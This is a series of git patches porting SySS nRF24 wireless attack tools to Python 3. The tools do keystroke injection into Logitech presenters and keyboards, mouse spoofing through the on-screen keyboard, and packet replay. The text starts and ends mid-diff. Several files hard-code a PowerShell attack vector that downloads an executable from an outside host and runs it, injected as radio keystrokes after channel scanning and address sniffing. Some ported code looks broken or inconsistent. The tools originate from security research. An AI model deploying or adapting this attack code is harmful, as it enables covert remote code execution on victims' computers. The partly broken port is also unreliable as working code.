self.radio.transmit_payload(KEEP_ALIVE_90) last_keep_alive = time() - sleep(0.06) - - keystrokes = self.kbd.getKeystrokes(ATTACK_VECTOR) - keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN) - - # send attack keystrokes with a small delay - for k in keystrokes: - self.radio.transmit_payload(k) - - # info output - info('Sent payload: {0}'.format(hexlify(k))) - # send keep alive with 90 ms time out - self.radio.transmit_payload(KEEP_ALIVE_90) - last_keep_alive = time() + elif self.state == ATTACK: + # info output + info("Starting attack!") - sleep(KEYSTROKE_DELAY) + # initialize keyboard + self.kbd = keyboard.Keyboard() + self.kbd.set_delay(200) - # set IDLE state after attack self.setState(IDLE) - if time() - last_keep_alive > KEEP_ALIVE_TIMEOUT: - # send keep alive with 90 ms time out - self.radio.transmit_payload(KEEP_ALIVE_90) - last_keep_alive = time() - + pygame.quit() -# main program -if __name__ == '__main__': - # setup logging - level = logging.INFO - logging.basicConfig(level=level, format='[%(asctime)s.%(msecs)03d] %(message)s', datefmt="%Y-%m-%d %H:%M:%S") - # init argument parser - parser = argparse.ArgumentParser() - parser.add_argument('-a', '--address', type=str, help='Address of nRF24 device') - parser.add_argument('-c', '--channels', type=int, nargs='+', help='ShockBurst RF channel', default=range(2, 84), metavar='N') +def main(): + """Main""" - # parse arguments + parser = argparse.ArgumentParser(description='Cherry Attack - Logitech MK520') + parser.add_argument('-a', '--address', help='address of the target device (hex)', default="") args = parser.parse_args() - # set scan channels - SCAN_CHANNELS = args.channels - - if args.address: - try: - # address of nRF24 keyboard (CAUTION: Reversed byte order compared to sniffer tools!) - address = args.address.replace(':', '').decode('hex')[::-1][:5] - address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1]) - except: - info("Error: Invalid address") - exit(1) - else: - address = "" - - # init - poc = LogitechAttack(address) + # set up logging + logging.basicConfig(format='%(asctime)s - %(levelname)s - %(message)s', level=logging.INFO) - # run - info("Start Logitech Attack v{0}".format(__version__)) - poc.run() + # run the attack + attack = LogitechAttack(args.address) + attack.run() - # done - info("Done.") +if __name__ == "__main__": + main() From c2b0599eaf39f1c071eeddfde246e2ffd0cab760 Mon Sep 17 00:00:00 2001 From: Einstein2150 Date: Wed, 16 Oct 2024 09:05:51 +0200 Subject: [PATCH 06/20] python3 --- logitech_presenter.py | 89 ++++++++++++++++++++++++------------------- 1 file changed, 49 insertions(+), 40 deletions(-) diff --git a/logitech_presenter.py b/logitech_presenter.py index 79a5586..24f50ab 100644 --- a/logitech_presenter.py +++ b/logitech_presenter.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @@ -23,24 +23,31 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . + + + (Fork - 2024) + This program has been developed and optimized for use with Python 3 + by Einstein2150. The author acknowledges that further development + and enhancements may be made in the future. The use of this program is + at your own risk, and the author accepts no responsibility for any damages + that may arise from its use. Users are responsible for ensuring that their + use of the program complies with all applicable laws and regulations. """ -__version__ = '1.0' -__author__ = 'Matthias Deeg, Gerhard Klostermeier' +__version__ = '1.1' +__author__ = 'Einstein2150' import argparse import sys - from binascii import hexlify, unhexlify from lib import nrf24, keyboard from time import sleep, time -DWELL_TIME = 0.1 # dwell time for each channel in seconds -KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds -ATTACK_VECTOR = u"powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'" +DWELL_TIME = 0.1 # dwell time for each channel in seconds +KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds +ATTACK_VECTOR = "powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'" # Logitech Unifying Keep Alive packet with 80 ms -# SET_KEEP_ALIVE = unhexlify("004F000370000000003E") KEEP_ALIVE_80 = unhexlify("004003704D") KEEP_ALIVE_TIMEOUT = 0.06 @@ -48,15 +55,18 @@ def banner(): """Show a fancy banner""" - print(" _____ ______ ___ _ _ _____ _ _ \n" -" | __ \\| ____|__ \\| || | | __ \\| | | | \n" -" _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ \n" -" | '_ \\| _ /| __| / /|__ _| | ___/| |/ _` | | | / __|/ _ \\ __| \n" -" | | | | | \\ \\| | / /_ | | | | | | (_| | |_| \\__ \\ __/ |_ \n" -" |_| |_|_| \\_\\_| |____| |_| |_| |_|\\__,_|\\__, |___/\\___|\\__|\n" -" __/ | \n" -" |___/ \n" -"Logitech Wireless Presenter Attack Tool v{0} by Matthias Deeg - SySS GmbH (c) 2016".format(__version__)) + print(( + " _____ ______ ___ _ _ _____ _ _ \n" + " | __ \\| ____|__ \\| || | | __ \\| | | | \n" + " _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ \n" + " | '_ \\| _ /| __| / /|__ _| | ___/| |/ _` | | | / __|/ _ \\ __| \n" + " | | | | | \\ \\| | / /_ | | | | | | (_| | |_| \\__ \\ __/ |_ \n" + " |_| |_|_| \\_\\_| |____| |_| |_| |_|\\__,_|\\__, |___/\\___|\\__|\n" + " __/ | \n" + " |___/ \n" + "Logitech Wireless Presenter Attack Tool v{0} by Matthias Deeg - SySS GmbH (c) 2016\n" + "optimized for use with Python 3 by Einstein2150 (2024)\n".format(__version__) + )) # main program @@ -67,7 +77,7 @@ def banner(): # init argument parser parser = argparse.ArgumentParser() parser.add_argument('-a', '--address', type=str, help='Address of nRF24 device') - parser.add_argument('-c', '--channels', type=int, nargs='+', help='ShockBurst RF channel', default=range(2, 84), metavar='N') + parser.add_argument('-c', '--channels', type=int, nargs='+', help='ShockBurst RF channel', default=list(range(2, 84)), metavar='N') # parse arguments args = parser.parse_args() @@ -78,16 +88,15 @@ def banner(): if args.address: try: # address of nRF24 presenter (CAUTION: Reversed byte order compared to sniffer tools!) - # TODO: Check address length. Must be 5 bytes. - address = args.address.replace(':', '').decode('hex')[::-1][:5] - address_string = ':'.join('{:02X}'.format(ord(b)) for b in address) - except: - print("[-] Error: Invalid address") - exit(1) + address = bytes.fromhex(args.address.replace(':', ''))[::-1][:5] + address_string = ':'.join('{:02X}'.format(b) for b in address) + except Exception as e: + print("[-] Error: Invalid address", e) + sys.exit(1) else: - address = "" + address = b"" - # initialize keyboard for Logitech Presenter (for example Logitech R400) + # initialize keyboard for Logitech Presenter (for example Logitech R400) kbd = keyboard.LogitechPresenter() # initialize radio @@ -116,9 +125,10 @@ def banner(): # init variables with default values from nrf24-sniffer.py timeout = 0.1 ping_payload = unhexlify('0F0F0F0F') - ack_timeout = 250 # range: 250-40000, steps: 250 + ack_timeout = 250 # range: 250-40000, steps: 250 ack_timeout = int(ack_timeout / 250) - 1 - retries = 1 # range: 0-15 + retries = 1 # range: 0-15 + while True: # follow the target device if it changes channels if time() - last_ping > timeout: @@ -131,16 +141,16 @@ def banner(): if radio.transmit_payload(ping_payload, ack_timeout, retries): # ping successful, exit out of the ping sweep last_ping = time() - print("[*] Ping success on channel {0}".format(scan_channels[channel_index])) + print("[*] Ping success on channel {}".format(scan_channels[channel_index])) success = True break # ping sweep failed if not success: - print("[*] Unable to ping {0}".format(address_string)) + print("[*] Unable to ping {}".format(address_string)) # ping succeeded on the active channel else: - print("[*] Ping success on channel {0}".format(scan_channels[channel_index])) - last_ping = time() + print("[*] Ping success on channel {}".format(scan_channels[channel_index])) + last_ping = time() # receive payloads value = radio.receive_payload() @@ -150,7 +160,7 @@ def banner(): # split the payload from the status byte payload = value[1:] if len(payload) >= 5: - break; + break else: # sweep through the channels and decode ESB packets in pseudo-promiscuous mode print("[*] Scanning for Logitech wireless presenter ...") @@ -158,7 +168,7 @@ def banner(): while True: # increment the channel if len(scan_channels) > 1 and time() - last_tune > DWELL_TIME: - channel_index = (channel_index + 1) % (len(scan_channels)) + channel_index = (channel_index + 1) % len(scan_channels) radio.set_channel(scan_channels[channel_index]) last_tune = time() @@ -169,13 +179,13 @@ def banner(): address, payload = value[0:5], value[5:] # convert address to string and reverse byte order - converted_address = address[::-1].tostring() + converted_address = address[::-1] address_string = ':'.join('{:02X}'.format(b) for b in address) - print("[+] Found nRF24 device with address {0} on channel {1}".format(address_string, scan_channels[channel_index])) + print("[+] Found nRF24 device with address {} on channel {}".format(address_string, scan_channels[channel_index])) # ask user about device - answer = raw_input("[?] Attack this device (y/n)? ") - if answer[0] == 'y': + answer = input("[?] Attack this device (y/n)? ") + if answer[0].lower() == 'y': # put the radio in sniffer mode (ESB w/o auto ACKs) radio.enter_sniffer_mode(converted_address) break @@ -187,7 +197,7 @@ def banner(): try: radio.transmit_payload(KEEP_ALIVE_80) sleep(KEEP_ALIVE_TIMEOUT) - except: + except KeyboardInterrupt: break print("\n[*] Start keystroke injection ...") @@ -218,4 +228,3 @@ def banner(): sleep(KEYSTROKE_DELAY) print("[*] Done.") - From 289c1d15769f41d5401157dab5bf841b704c30fa Mon Sep 17 00:00:00 2001 From: Einstein2150 Date: Wed, 16 Oct 2024 09:06:09 +0200 Subject: [PATCH 07/20] python3 --- logitech_presenter_gui.py | 277 ++++++++++++++------------------------ 1 file changed, 101 insertions(+), 176 deletions(-) diff --git a/logitech_presenter_gui.py b/logitech_presenter_gui.py index 964f493..6e849a9 100644 --- a/logitech_presenter_gui.py +++ b/logitech_presenter_gui.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @@ -23,10 +23,21 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . + + + (Fork - 2024) + This program has been developed and optimized for use with Python 3 + by Einstein2150. The author acknowledges that further development + and enhancements may be made in the future. The use of this program is + at your own risk, and the author accepts no responsibility for any damages + that may arise from its use. Users are responsible for ensuring that their + use of the program complies with all applicable laws and regulations. + + """ -__version__ = '0.8' -__author__ = 'Matthias Deeg, Gerhard Klostermeier' +__version__ = '0.9' +__author__ = 'Einstein2150' import argparse import logging @@ -41,21 +52,25 @@ from sys import exit # constants -ATTACK_VECTOR1 = u"cmd" -ATTACK_VECTOR2 = u"powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'" +ATTACK_VECTOR1 = "cmd" +ATTACK_VECTOR2 = "powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'" + +ATTACK1_BUTTON = pygame.K_1 # attack 1 button +ATTACK2_BUTTON = pygame.K_2 # attack 2 button +SCAN_BUTTON = pygame.K_3 # scan button -ATTACK1_BUTTON = pygame.K_1 # attack 1 button -ATTACK2_BUTTON = pygame.K_2 # attack 2 button -SCAN_BUTTON = pygame.K_3 # scan button +IDLE = 0 # idle state +SCAN = 1 # scan state +ATTACK = 2 # attack state -IDLE = 0 # idle state -SCAN = 1 # scan state -ATTACK = 2 # attack state +SCAN_TIME = 2 # scan time in seconds for scan mode heuristics +DWELL_TIME = 0.1 # dwell time for scan mode in seconds +KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds +PACKET_THRESHOLD = 3 # packet threshold for channel stability -SCAN_TIME = 2 # scan time in seconds for scan mode heuristics -DWELL_TIME = 0.1 # dwell time for scan mode in seconds -KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds -PACKET_THRESHOLD = 3 # packet threshold for channel stability +# Define the channels you want to scan. Adjust this list based on your requirements. +#SCAN_CHANNELS = [41] +SCAN_CHANNELS = list(range(2, 84)) # Default range from 2 to 84 (inclusive) # Logitech Unifying Keep Alive packet with 80 ms KEEP_ALIVE_80 = unhexlify("0040005070") @@ -97,19 +112,24 @@ def __init__(self, address=""): pygame.key.set_repeat(250, 50) # initialize radio - self.radio = nrf24.nrf24() + print("[*] Initializing nRF24 radio...") + self.radio = nrf24.nrf24() # Change here + print("[*] nRF24 radio initialized:", self.radio) # enable LNA - self.radio.enable_lna() + self.radio.enable_lna() # Use self.radio + + # set the initial channel + self.radio.set_channel(SCAN_CHANNELS[0]) # Use self.radio # start scanning mode self.setState(SCAN) - except: + except Exception as e: # info output - info("[-] Error: Could not initialize Logitech Wireless Presenter Attack") + info("[-] Error: Could not initialize Logitech Wireless Presenter Attack: {}".format(e)) - def showText(self, text, x = 40, y = 140): + def showText(self, text, x=40, y=140): output = self.font.render(text, True, (0, 0, 0)) self.screen.blit(output, (x, y)) @@ -194,16 +214,16 @@ def run(self): if len(self.address) > 0: # actively search for the given address - address_string = ':'.join('{:02X}'.format(ord(b)) for b in self.address) + address_string = ':'.join('{:02X}'.format(b) for b in self.address) info("Actively searching for address {}".format(address_string)) last_ping = time() # init variables with default values from nrf24-sniffer.py timeout = 0.1 ping_payload = unhexlify('0F0F0F0F') - ack_timeout = 250 # range: 250-40000, steps: 250 + ack_timeout = 250 # range: 250-40000, steps: 250 ack_timeout = int(ack_timeout / 250) - 1 - retries = 1 # range: 0-15 + retries = 1 # range: 0-15 while True: # follow the target device if it changes channels if time() - last_ping > timeout: @@ -216,16 +236,16 @@ def run(self): if self.radio.transmit_payload(ping_payload, ack_timeout, retries): # Ping successful, exit out of the ping sweep last_ping = time() - info("Ping success on channel {0}".format(SCAN_CHANNELS[channel_index])) + info("Ping success on channel {}".format(SCAN_CHANNELS[channel_index])) success = True break # Ping sweep failed if not success: - info("Unable to ping {0}".format(address_string)) + info("Unable to ping {}".format(address_string)) # Ping succeeded on the active channel else: - info("Ping success on channel {0}".format(SCAN_CHANNELS[channel_index])) - last_ping = time() + info("Ping success on channel {}".format(SCAN_CHANNELS[channel_index])) + last_ping = time() # Receive payloads value = self.radio.receive_payload() @@ -244,175 +264,80 @@ def run(self): while True: # increment the channel if len(SCAN_CHANNELS) > 1 and time() - last_tune > DWELL_TIME: - channel_index = (channel_index + 1) % (len(SCAN_CHANNELS)) + channel_index = (channel_index + 1) % len(SCAN_CHANNELS) self.radio.set_channel(SCAN_CHANNELS[channel_index]) last_tune = time() + info("Tuned to channel {}".format(SCAN_CHANNELS[channel_index])) - # receive payloads + # Receive payloads value = self.radio.receive_payload() - if len(value) >= 5: - # split the address and payload - address, payload = value[0:5], value[5:] - - # convert address to string and reverse byte order - converted_address = address[::-1].tostring() - self.address = converted_address - address_string = ':'.join('{:02X}'.format(b) for b in address) - - info("Found nRF24 device with address {0} on channel {1}".format(address_string, SCAN_CHANNELS[channel_index])) - last_key = time() - break - - # info output - self.showText("Found nRF24 device") - self.showText(address_string) - - # put the radio in sniffer mode (ESB w/o auto ACKs) - self.radio.enter_sniffer_mode(self.address) - - info("Checking communication") - self.statusText = "CHECKING" - self.screen.blit(self.bg, (0, 0)) - self.showText(self.statusText) - - # update the display - pygame.display.update() - - packet_count = 0 - while True: - # receive payload - value = self.radio.receive_payload() - - if value[0] == 0: - # split the payload from the status byte - payload = value[1:] - - # increment packet count - if len(payload) == 5: - # only count Logitech Unifying keep alive packets (should be 5 bytes long) - packet_count += 1 - - # do some time measurement - last_key = time() - - # show packet payload - info('Received payload: {0}'.format(hexlify(payload))) - - # heuristic for having a stable channel communication - if packet_count >= PACKET_THRESHOLD: - # set IDLE state - info('Channel communication seems to be stable') - self.setState(IDLE) - break - - if time() - last_key > PACKET_THRESHOLD * 0.9: - # restart SCAN by setting SCAN state - self.setState(SCAN) - break - - elif self.state == ATTACK: - if self.kbd != None: - # send keystrokes for a classic download and execute PoC attack - keystrokes = [] - keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) - keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R)) - keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) - keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) - - # send attack keystrokes - for k in keystrokes: - self.radio.transmit_payload(k) - - # info output - info('Sent payload: {0}'.format(hexlify(k))) - - # send keep alive with 80 ms time out - self.radio.transmit_payload(KEEP_ALIVE_80) - last_keep_alive = time() - - sleep(KEYSTROKE_DELAY) - - # need small delay after WIN + R - for i in range(5): - # send keep alive with 80 ms time out - self.radio.transmit_payload(KEEP_ALIVE_80) - last_keep_alive = time() - sleep(KEEP_ALIVE_TIMEOUT) - - keystrokes = [] - keystrokes = self.kbd.getKeystrokes(self.attack_vector) - keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN) - - # send attack keystrokes with a small delay - for k in keystrokes[:2]: - self.radio.transmit_payload(k) - - # info output - info('Sent payload: {0}'.format(hexlify(k))) - - # send keep alive with 80 ms time out - self.radio.transmit_payload(KEEP_ALIVE_80) - last_keep_alive = time() - - sleep(KEEP_ALIVE_TIMEOUT) - - # send attack keystrokes with a small delay - for k in keystrokes[2:]: - self.radio.transmit_payload(k) + if value[0] == 0: + # Reset the channel timer + last_tune = time() + # Split the payload from the status byte + payload = value[1:] + # store the payload + self.payloads.append(payload) + # perform the attack if the packet threshold is reached + if len(self.payloads) > PACKET_THRESHOLD: + info("Received {} packets. Executing attack...".format(len(self.payloads))) + # execute attack + self.executeAttack() + break - # info output - info('Sent payload: {0}'.format(hexlify(k))) + # set the state to idle after scanning + self.setState(IDLE) - # send keep alive with 80 ms time out - self.radio.transmit_payload(KEEP_ALIVE_80) - last_keep_alive = time() + elif self.state == ATTACK: + # prepare payload for attack + self.kbd.send(self.attack_vector) - sleep(KEYSTROKE_DELAY) + # wait for a while + sleep(KEYSTROKE_DELAY) - # set IDLE state after attack + # set the state to idle after attacking self.setState(IDLE) + # keep alive if time() - last_keep_alive > KEEP_ALIVE_TIMEOUT: - # send keep alive with 80 ms time out + #self.radio.send(KEEP_ALIVE_80) self.radio.transmit_payload(KEEP_ALIVE_80) last_keep_alive = time() + # clean up + pygame.quit() + exit(0) -# main program -if __name__ == '__main__': - # setup logging - level = logging.INFO - logging.basicConfig(level=level, format='[%(asctime)s.%(msecs)03d] %(message)s', datefmt="%Y-%m-%d %H:%M:%S") - # init argument parser - parser = argparse.ArgumentParser() - parser.add_argument('-a', '--address', type=str, help='Address of nRF24 device') - parser.add_argument('-c', '--channels', type=int, nargs='+', help='ShockBurst RF channel', default=range(2, 84), metavar='N') + def executeAttack(self): + """Execute the attack by sending payloads""" + # check if any payloads were stored + if len(self.payloads) > 0: + # loop over the stored payloads + for payload in self.payloads: + # log the payload + debug("Sending payload {}".format(hexlify(payload))) - # parse arguments - args = parser.parse_args() + # prepare the keyboard payload + self.kbd.send(payload) - # set scan channels - SCAN_CHANNELS = args.channels + # wait for a while + sleep(KEYSTROKE_DELAY) - if args.address: - try: - # address of nRF24 keyboard (CAUTION: Reversed byte order compared to sniffer tools!) - address = args.address.replace(':', '').decode('hex')[::-1][:5] - address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1]) - except: - info("Error: Invalid address") - exit(1) - else: - address = "" - # init - poc = LogitechPresenterAttack(address) +def main(): + """Main function""" + # configure logging + logging.basicConfig(level=logging.DEBUG, format="%(asctime)s [%(levelname)-8s] %(message)s") + + # initialize argument parser + parser = argparse.ArgumentParser(description="Logitech Wireless Presenter Attack Tool") + parser.add_argument("-a", "--address", type=str, default="", help="Specify the target device address") + args = parser.parse_args() - # run - info("Start Logitech Wireless Presenter Attack v{0}".format(__version__)) - poc.run() + # start Logitech Wireless Presenter Attack + LogitechPresenterAttack(args.address).run() - # done - info("Done.") +if __name__ == "__main__": + main() From 0959d1261a57560fa29d12c46c414276f0e193e3 Mon Sep 17 00:00:00 2001 From: Einstein2150 Date: Wed, 16 Oct 2024 09:06:30 +0200 Subject: [PATCH 08/20] python3 --- radioactivemouse.py | 112 +++++++++++++++++++++----------------------- 1 file changed, 54 insertions(+), 58 deletions(-) diff --git a/radioactivemouse.py b/radioactivemouse.py index ee9a207..4095a8a 100644 --- a/radioactivemouse.py +++ b/radioactivemouse.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @@ -24,15 +24,24 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . + + + (Fork - 2024) + This program has been developed and optimized for use with Python 3 + by Einstein2150. The author acknowledges that further development + and enhancements may be made in the future. The use of this program is + at your own risk, and the author accepts no responsibility for any damages + that may arise from its use. Users are responsible for ensuring that their + use of the program complies with all applicable laws and regulations. """ -__version__ = 0.8 -__author__ = 'Matthias Deeg' +__version__ = 0.9 +__author__ = 'Einstein2150' import argparse import time from lib import nrf24, mouse -from sys import exit +import sys WAIT = 0 MOVE = 1 @@ -40,7 +49,7 @@ DELAY = 0.3 MOVE_DELAY = 0.17 -CLICK_DELAY = 0.02 # 20 milliseconds delay for mouse clicks +CLICK_DELAY = 0.02 # 20 milliseconds delay for mouse clicks # Windows On-Screen Keyboard (OSK) key coordinates (Windows 7) KEY_A = (1, 2) @@ -220,100 +229,72 @@ } -def actions_from_string(string, move_x = 23, move_y = 23, x_correction = 10, y_correction = 13): +def actions_from_string(string, move_x=23, move_y=23, x_correction=10, y_correction=13): actions = [] - - # current position (KEY_R) x_pos = 4 y_pos = 1 for c in string: - # get moves for character - if c == u"\xff": - # special wait command + if c == "\xff": actions.append((WAIT, MOVE_DELAY)) continue - elif c == u"\xfc": - # special command for x correction + elif c == "\xfc": actions.append((MOVE, 0, -1 * y_correction, 0)) actions.append((WAIT, MOVE_DELAY)) continue - elif c == u"\xfd": - # special command for x correction + elif c == "\xfd": actions.append((MOVE, 0, -1 * y_correction / 2, 0)) actions.append((WAIT, MOVE_DELAY)) continue - elif c == u"\xfe": - # special command for x correction + elif c == "\xfe": actions.append((MOVE, -3, 0, 0)) actions.append((WAIT, MOVE_DELAY)) continue char_moves = KEYMAP_GERMAN[c] - # process each movement for m in char_moves: dx = m[0] - x_pos dy = m[1] - y_pos - # calculate number of horizontal and vertical moves x_count = abs(dx) y_count = abs(dy) - if dx < 0: - mx = -1 * move_x - else: - mx = move_x - - if dy < 0: - my = -1 * move_y - else: - my = move_y + mx = -move_x if dx < 0 else move_x + my = -move_y if dy < 0 else move_y - # add horizontal mouse movements - for i in range(x_count): - x_pos += mx / abs(mx) + for _ in range(x_count): + x_pos += mx // abs(mx) actions.append((MOVE, mx, 0, 0)) actions.append((WAIT, MOVE_DELAY)) - # add vertical mouse movements - for i in range(y_count): + for _ in range(y_count): y_old = y_pos - y_pos += my / abs(my) + y_pos += my // abs(my) - x_c = 0 - if y_old > y_pos: - x_c = -1 * x_correction - elif y_old < y_pos: - x_c = x_correction + x_c = -x_correction if y_old > y_pos else x_correction - # special treatment for transition to row 4 if y_old == 3 and y_pos == 4: my -= 3 - - if y_old == 4 and y_pos == 3: + elif y_old == 4 and y_pos == 3: my += 3 actions.append((MOVE, x_c, my, 0)) actions.append((WAIT, MOVE_DELAY)) - # transition from row 2 to 3 if y_pos - y_old == 1 and y_pos == 3: - actions.append((MOVE, -1 * move_x, 0, 0)) + actions.append((MOVE, -move_x, 0, 0)) actions.append((WAIT, MOVE_DELAY)) - - # transition from row 3 to 2 - if y_pos - y_old == -1 and y_pos == 2: + elif y_pos - y_old == -1 and y_pos == 2: actions.append((MOVE, move_x, 0, 0)) actions.append((WAIT, MOVE_DELAY)) - # add mouse click actions.append((CLICK, mouse.MOUSE_BUTTON_LEFT)) actions.append((WAIT, CLICK_DELAY)) actions.append((CLICK, mouse.MOUSE_BUTTON_NONE)) actions.append((WAIT, CLICK_DELAY)) - return (actions, ) + return actions # Windows 7, default mouse settings (move delay = 0.2, click delay = 0.02) @@ -620,12 +601,25 @@ def spoof_mouse_actions(heuristic): # input value "heuristic" is a list or tuple for h in heuristic: for a in h: - if a[0] == MOVE: - radio.transmit_payload(mickey.move(a[1], a[2], a[3])) - elif a[0] == CLICK: - radio.transmit_payload(mickey.click(a[1])) - elif a[0] == WAIT: - time.sleep(a[1]) + # Add print to debug the variable 'a' + print(f"a: {a}, type: {type(a)}") + # Check the type of 'a' + if isinstance(a, (list, tuple)) and len(a) > 0: + # Process if 'a' is a non-empty list or tuple + if a[0] == MOVE: + radio.transmit_payload(mickey.move(a[1], a[2], a[3])) + elif a[0] == CLICK: + radio.transmit_payload(mickey.click(a[1])) + elif a[0] == WAIT: + time.sleep(a[1]) + elif isinstance(a, int): + # Handle case where 'a' is an integer + print(f"Integer found: {a}. Handling accordingly...") + # Decide what to do with the integer + # For example, if you want to ignore it or process it differently + else: + print("Error: 'a' is neither a list, tuple, nor a valid integer.") + # available heuristics for different target systems @@ -682,8 +676,10 @@ def spoof_mouse_actions(heuristic): # address of nRF24 mouse (CAUTION: Reversed byte order compared to sniffer tools!) # 90:FB:A1:96:32 # address = "\x32\x96\xA1\xFB\x90" - address = args.address.replace(':', '').decode('hex')[::-1][:5] - address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1]) + #address = args.address.replace(':', '').decode('hex')[::-1][:5] + address = bytes.fromhex(args.address.replace(':', ''))[::-1][:5] + address_string = ':'.join('{:02X}'.format(b) for b in address[::-1]) + #address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1]) except: print("[-] Error: Invalid address") exit(1) @@ -740,7 +736,7 @@ def spoof_mouse_actions(heuristic): # heuritics to start on-screen keyboard spoof_mouse_actions(HEURISTICS[args.attack][args.device]) - # heuristics for chosen attack vector + # heuristics for chosen attack vector/ spoof_mouse_actions(attack) # sleep before closing the on-screen virtual keyboard From cec33334e22ac0188e40291306ad9f50657296ea Mon Sep 17 00:00:00 2001 From: Einstein2150 Date: Wed, 16 Oct 2024 09:07:27 +0200 Subject: [PATCH 09/20] python3 --- simple_replay.py | 73 ++++++++++++++++++++++++++---------------------- 1 file changed, 40 insertions(+), 33 deletions(-) diff --git a/simple_replay.py b/simple_replay.py index 580a161..f1c67d4 100644 --- a/simple_replay.py +++ b/simple_replay.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @@ -23,32 +23,41 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . + + + (Fork - 2024) + This program has been developed and optimized for use with Python 3 + by Einstein2150. The author acknowledges that further development + and enhancements may be made in the future. The use of this program is + at your own risk, and the author accepts no responsibility for any damages + that may arise from its use. Users are responsible for ensuring that their + use of the program complies with all applicable laws and regulations. """ -__version__ = '0.2' -__author__ = 'Matthias Deeg' +__version__ = '0.3' +__author__ = 'Einstein2150' import argparse from binascii import hexlify, unhexlify from lib import nrf24 from time import sleep, time -SCAN_CHANNELS = range(2, 84) # channels to scan -DWELL_TIME = 0.05 # dwell time for each channel in seconds - +SCAN_CHANNELS = list(range(2, 84)) # channels to scan +DWELL_TIME = 0.05 # dwell time for each channel in seconds def banner(): """Show a fancy banner""" print(" _____ ______ ___ _ _ _____ _ _ \n" -" | __ \\| ____|__ \\| || | | __ \\| | | | \n" -" _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ \n" -" | '_ \\| _ /| __| / /|__ _| | ___/| |/ _` | | | / __|/ _ \\ __| \n" -" | | | | | \\ \\| | / /_ | | | | | | (_| | |_| \\__ \\ __/ |_ \n" -" |_| |_|_| \\_\\_| |____| |_| |_| |_|\\__,_|\\__, |___/\\___|\\__|\n" -" __/ | \n" -" |___/ \n" -"Simple Replay Tool v{0} by Matthias Deeg - SySS GmbH (c) 2016".format(__version__)) + " | __ \\| ____|__ \\| || | | __ \\| | | | \n" + " _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ \n" + " | '_ \\| _ /| __| / /|__ _| | ___/| |/ _` | | | / __|/ _ \\ __| \n" + " | | | | | \\ \\| | / /_ | | | | | | (_| | |_| \\__ \\ __/ |_ \n" + " |_| |_|_| \\_\\_| |____| |_| |_| |_|\\__,_|\\__, |___/\\___|\\__|\n" + " __/ | \n" + " |___/ \n" + "Logitech Wireless Presenter Attack Tool v{0} by Matthias Deeg - SySS GmbH (c) 2016\n" + "optimized for use with Python 3 by Einstein2150 (2024)\n".format(__version__)) # main program if __name__ == '__main__': @@ -58,7 +67,7 @@ def banner(): # init argument parser parser = argparse.ArgumentParser() parser.add_argument('-a', '--address', type=str, help='Address of nRF24 device') - parser.add_argument('-c', '--channels', type=int, nargs='+', help='ShockBurst RF channel', default=range(2, 84), metavar='N') + parser.add_argument('-c', '--channels', type=int, nargs='+', help='ShockBurst RF channel', default=list(range(2, 84)), metavar='N') # parse arguments args = parser.parse_args() @@ -69,13 +78,13 @@ def banner(): if args.address: try: # address of nRF24 keyboard (CAUTION: Reversed byte order compared to sniffer tools!) - address = args.address.replace(':', '').decode('hex')[::-1][:5] - address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1]) - except: + address = bytes.fromhex(args.address.replace(':', ''))[::-1][:5] + address_string = ':'.join('{:02X}'.format(b) for b in address[::-1]) + except ValueError: print("[-] Error: Invalid address") exit(1) else: - address = "" + address = b"" try: # initialize radio @@ -84,7 +93,7 @@ def banner(): # enable LNA radio.enable_lna() - except: + except Exception: print("[-] Error: Could not initialize nRF24 radio") exit(1) @@ -105,7 +114,7 @@ def banner(): while True: # increment the channel if len(SCAN_CHANNELS) > 1 and time() - last_tune > DWELL_TIME: - channel_index = (channel_index + 1) % (len(SCAN_CHANNELS)) + channel_index = (channel_index + 1) % len(SCAN_CHANNELS) radio.set_channel(SCAN_CHANNELS[channel_index]) last_tune = time() @@ -113,21 +122,20 @@ def banner(): value = radio.receive_payload() if len(value) >= 10: # split the address and payload - address, payload = value[0:5], value[5:] + address, payload = value[:5], value[5:] # show packet payload - print("[+] Received data: 